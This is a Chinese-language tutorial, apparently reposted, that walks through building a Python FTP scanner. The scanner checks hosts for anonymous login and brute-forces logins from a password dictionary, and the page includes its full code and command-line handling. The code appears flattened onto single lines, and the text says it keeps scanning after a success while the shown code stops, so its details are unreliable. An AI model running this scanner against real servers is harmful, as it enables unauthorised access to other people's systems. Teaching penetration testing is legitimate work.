摘要:一項目說明項目簡介本次實驗通過使用實現(xiàn)一個弱口令掃描器開始,入門滲透測試技術(shù),實驗涉及協(xié)議原理,庫的使用等知識點。找到密碼并不會終止程序,而是會繼續(xù)掃描其他主機的弱口令,直到所有的主機都掃描一遍。
一、項目說明 1.1 項目簡介
本次實驗通過使用 Python 實現(xiàn)一個 FTP 弱口令掃描器開始,入門 Python 滲透測試技術(shù),實驗涉及 FTP 協(xié)議原理,ftplib 庫的使用等知識點。
本教程由作者向?qū)嶒灅峭陡灏l(fā)布,完整教程及在線練習(xí)地址:Python 實現(xiàn) FTP 弱口令掃描器
1.2 目標(biāo)學(xué)員具有Python語言基礎(chǔ),不會的同學(xué)請到隔壁班先去學(xué)一下
1.3 Python版本Python3.x
1.4 知識點本實驗涉及如下知識點:
認識Ftp服務(wù)器
Ftplib庫的使用
argparse庫的使用
Ubuntu下Ftp服務(wù)器的搭建
1.5 效果圖本節(jié)實驗將實現(xiàn)如下功能的 FTP 弱口令掃描器:
二、 理論基礎(chǔ)以下內(nèi)容整理自百度百科,參考鏈接:
百度百科-FTP服務(wù)器
2.1 FTP服務(wù)器FTP服務(wù)器(File Transfer Protocol Server)是在互聯(lián)網(wǎng)上提供文件存儲和訪問服務(wù)的計算機,它們依照FTP協(xié)議提供服務(wù)。 FTP是File Transfer Protocol(文件傳輸協(xié)議)。顧名思義,就是專門用來傳輸文件的協(xié)議。簡單地說,支持FTP協(xié)議的服務(wù)器就是FTP服務(wù)器。
FTP是僅基于TCP的服務(wù),不支持UDP。與眾不同的是FTP使用2個端口,一個數(shù)據(jù)端口和一個命令端口(也可叫做控制端口)。通常來說這兩個端口是21(命令端口)和20(數(shù)據(jù)端口)。但FTP 工作方式的不同,數(shù)據(jù)端口并不總是20。這就是主動與被動FTP的最大不同之處。主要有兩種工作模式:
主動FTP
FTP服務(wù)器的控制端口是21,數(shù)據(jù)端口是20,所以在做靜態(tài)映射的時候只需要開放21端口即可,他會用20端口和客戶端主動的發(fā)起連接。
被動FTP
服務(wù)器的控制端口是21,數(shù)據(jù)端口是隨機的,且是客戶端去連接對應(yīng)的數(shù)據(jù)端口,所以在做靜態(tài)的映射話只開放21端口是不可以的。此時需要做DMZ。
2.2 Ftp掃描器實現(xiàn)方案本課程開發(fā)Ftp掃描器主要從以下兩個方面著手:
掃描匿名FtpFtp匿名登錄的掃描主要應(yīng)用于批量掃描中,多帶帶針對一個Ftp服務(wù)器進行掃描的話成功幾率比較小,不過也不排除成功的可能。估計講到這里的時候,有的同學(xué)就有疑問了?。?!現(xiàn)在還有人不設(shè)置密碼嗎?那得傻到啥程度?用東北的話來說那不就是傻狍子嗎?。。。ㄩ_個玩笑,免得同學(xué)們看我的教程睡著了?。┎贿^言歸正傳,很多網(wǎng)站都開放Ftp服務(wù)方便用戶下載資源(這個允許匿名登錄不足為奇),更瘋狂的是網(wǎng)站管理人員為了方便網(wǎng)站訪問軟件的更新也開放了Ftp匿名登錄(估計不是自己家的網(wǎng)站......)。這樣就給了我們很多機會,尤其后者的服務(wù)器很容易就受到攻擊,后期我會講解Ftp目錄下可以搜到web頁面之后怎樣拿到Shell(大家多多關(guān)注我的教程吧,還有很多精品課程等著你?。?。
掃描Ftp弱口令Ftp弱口令掃描其實就是暴力破解,為何我們不稱為暴力破解呢?因為我們只是掃描一些簡單的密碼組合,并不是所有可能得密碼組合,而且我們也沒有那么多時間去暴力破解,誰讓我們活不了成千上萬年呢!只是一個密碼而已,弱口令掃不到就算了,天涯何處無芳草何必單戀一枝花呢!不過你要非喜歡這個Ftp服務(wù)器的話,以后我再教大家別的方法滲透服務(wù)器!
三、代碼實現(xiàn) 3.1 Ftp匿名掃描器的實現(xiàn)這里我們要用到Python的ftplib庫中的Ftp這個類,F(xiàn)tp這個類實現(xiàn)了Ftp客戶端的大多數(shù)功能,比如連接Ftp服務(wù)器、查看服務(wù)器中的文件、上傳、下載文件等功能,詳細用法可以查看一下文檔,以后碰到問題也要養(yǎng)成先看文檔的習(xí)慣!接下來我們來定義anonScan(hostname)這個函數(shù)以實現(xiàn)掃描可匿名登錄的Ftp服務(wù)器。代碼如下:
#匿名登錄掃描 def anonScan(hostname): #參數(shù)是主機名 try: with FTP(hostname) as ftp: #創(chuàng)建Ftp對象 ftp.login() #Ftp匿名登錄 print(" [*] " + str(hostname) + " FTP Anonymous login successful!") #不拋出異常則表明登錄成功 return True except Exception as e: #拋出異常則表明匿名登錄失敗 print(" [-] " + str(hostname) + " FTP Anonymous logon failure!") return False
代碼很簡短,主要在注釋中解釋了代碼的含義。這里說一下這個函數(shù)的思路,首先用主機名構(gòu)造了一個Ftp對象(即ftp),然后用這個ftp調(diào)用不帶任何參數(shù)的login()函數(shù)即表示要匿名登錄這個Ftp服務(wù)器,如果登錄過程中沒有產(chǎn)生異常,則表明匿名登錄成功,否則匿名登錄失??!
3.2 Ftp弱口令的掃描Ftp弱口令的掃描依賴于用戶名和密碼字典,我們的實驗環(huán)境中會提供 pwd.txt 作為密碼字典,字典的格式如下圖所示:
接下來我們針對字典中的格式來實現(xiàn)Ftp弱口令的掃描,代碼如下:
#暴力破解 def vlcLogin(hostname, pwdFile): #參數(shù)(主機名,字典文件) try: with open(pwdFile, "r") as pf: #打開字典文件 for line in pf.readlines(): #循環(huán)讀取字典文件中的每一行 time.sleep(1) #等待1秒 userName = line.split(":")[0] #從讀取的內(nèi)容中取出用戶名 passWord = line.split(":")[1].strip(" ").strip(" ") #從讀取的內(nèi)容中取出密碼 print("[+] Trying: " + userName + ":" + passWord) try: with FTP(hostname) as ftp: #以主機名為參數(shù)構(gòu)造Ftp對象 ftp.login(userName, passWord) #使用讀取出的用戶名密碼登錄Ftp服務(wù)器 #如果沒有產(chǎn)生異常則表示登錄成功,打印主機名、用戶名和密碼 print(" [+] " + str(hostname) + " FTP Login successful: "+ userName + ":" + passWord) return (userName, passWord) except Exception as e: # 產(chǎn)生異常表示沒有登錄成功,這里我們不用管它,繼續(xù)嘗試其他用戶名、密碼 pass except IOError as e: print("Error: the password file does not exist!") print(" [-] Cannot crack the FTP password, please change the password dictionary try again!") return (None,None)
這段代碼其實就是循環(huán)從字典中讀取用戶名和密碼并嘗試登陸,登陸成功則表明找到用戶名和密碼。由于這個函數(shù)將主機名定義成了可以用“,”分割的字符串。找到密碼并不會終止程序,而是會繼續(xù)掃描其他主機的弱口令,直到所有的主機都掃描一遍。
3.3 命令行解析至此我們的Ftp掃描器已經(jīng)幾乎完成了,代碼并不多,也很簡單。現(xiàn)在我們需要做的是讓我們的腳本可以處理命令行輸入,以控制掃描哪些主機。處理命令行參數(shù)我們將用到Python中的argparse庫,這個庫是Python中自帶的模塊,處理命令行將變得非常簡單,下面我們一起見證一下argparse的強大之處,先上代碼:
# 這里用描述創(chuàng)建了ArgumentParser對象 parser = argparse.ArgumentParser(description = "FTP Scanner") # 添加-H命令dest可以理解為咱們解析時獲取-H參數(shù)后面值的變量名,help是這個命令的幫助信息 parser.add_argument("-H",dest="hostName",help="The host list with ","space") parser.add_argument("-f",dest="pwdFile",help="Password dictionary file") options = None try: options = parser.parse_args() except: print(parser.parse_args(["-h"])) exit(0) hostNames = str(options.hostName).split(",") pwdFile = options.pwdFile
通過argparse庫來解析命令行參數(shù),可以根據(jù)添加參數(shù)時指定的help關(guān)鍵字的內(nèi)容來自動生成幫助文檔。具體效果如下圖所示:
在處理復(fù)雜命令的時候argparse的強大就更明顯了,由于這個屬于Python基礎(chǔ),所以Python庫中自帶的庫這里我就不做過多的介紹了。
四、實驗環(huán)境搭建測試本項目完整代碼和環(huán)境搭建、測試,可在實驗樓中查看并在線完成。
五、總結(jié)本次項目實現(xiàn)了Ftp弱口令掃描器,主要用到以下知識點:
Ftp服務(wù)器的基本概念
使用ftplib如何一步一步的實現(xiàn)Ftp弱口令掃描器
使用argparse解析命令行參數(shù)
實驗環(huán)境的搭建方法
六、參考文獻《Python絕技--運用Python成為頂級黑客》
《Python黑帽子-- 黑客與滲透測試編程之道 》
注:本系列項目教學(xué)思路,參考自《Python絕技--運用Python成為頂級黑客》,書中代碼和教學(xué)思路只做參考,本系列教程全部重新設(shè)計并基于Python3.x重寫。本系列課程旨在教大家滲透測試,維護網(wǎng)絡(luò)安全,如用于非法目的,自行承擔(dān)法律責(zé)任!
文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請注明本文地址:http://www.ezyhdfw.cn/yun/38107.html
閱讀 2900·2021-11-22 15:11
閱讀 3632·2021-09-28 09:43
閱讀 2958·2019-08-30 13:05
閱讀 3493·2019-08-30 11:18
閱讀 1507·2019-08-29 16:34
閱讀 1421·2019-08-29 13:53
閱讀 2992·2019-08-29 11:03
閱讀 1727·2019-08-29 10:57